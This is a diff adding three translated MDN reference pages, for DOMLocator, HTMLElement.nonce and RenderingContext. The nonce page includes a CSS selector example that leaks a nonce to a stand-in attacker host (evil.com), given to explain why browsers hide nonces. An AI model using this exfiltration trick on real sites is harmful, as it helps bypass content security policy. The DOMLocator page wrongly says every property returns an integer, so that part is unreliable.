diff options
Diffstat (limited to 'files/zh-cn/orphaned')
3 files changed, 140 insertions, 0 deletions
diff --git a/files/zh-cn/orphaned/web/api/domlocator/index.html b/files/zh-cn/orphaned/web/api/domlocator/index.html new file mode 100644 index 0000000000..36266f2b67 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/domlocator/index.html @@ -0,0 +1,51 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +<p>{{APIRef("DOM")}}{{obsolete_header}}</p> + +<div class="warning"> +<p>NOTE: This is not implemented in Mozilla</p> +</div> + +<p>Indicates a location such as where an error occurred. Returned by DOMError.location.</p> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>This interface neither implements, nor inherits, any method.</em></p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..9b3c39fbd4 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLElement.nonce +slug: orphaned/Web/API/HTMLOrForeignElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +original_slug: Web/API/HTMLOrForeignElement/nonce +--- +<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p> + +<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。</p> + +<p>在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce +HTMLElement.nonce = <em>nonce</em></pre> + +<h3 id="访问nonce属性值">访问nonce属性值</h3> + +<p>以前,并不是所有的浏览器都支持 <code>nonce</code> IDL属性,因此在实际应用场景中,尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选:</p> + +<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> + +<p>然而,最新的浏览器版本都隐藏了 <code>nonce</code> 值(返回一个空值)。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p> + +<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:</p> + +<pre class="notranslate">script[nonce~=whatever] { + background: url("https://evil.com/nonce?whatever"); +}</pre> + +<h2 id="说明">说明</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">说明</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>初始定义</td> + </tr> + </tbody> +</table> + +<h2 id="支持的浏览器">支持的浏览器</h2> + +<div> +<p>{{Compat("api.HTMLElement.nonce")}}</p> +</div> diff --git a/files/zh-cn/orphaned/web/api/renderingcontext/index.html b/files/zh-cn/orphaned/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..9133b5fd7f --- /dev/null +++ b/files/zh-cn/orphaned/web/api/renderingcontext/index.html @@ -0,0 +1,30 @@ +--- +title: RenderingContext +slug: orphaned/Web/API/RenderingContext +translation_of: Web/API/RenderingContext +original_slug: Web/API/RenderingContext +--- +<p>{{APIRef("Canvas API")}}</p> + +<p><code><strong>RenderingContext</strong></code> 是一个辅助类型,描述下面任何一个渲染上下文: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 <code>WebGLRenderingContext</code>)。</p> + +<p>这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。</p> + +<h2 id="规范描述">规范描述</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<p> </p> |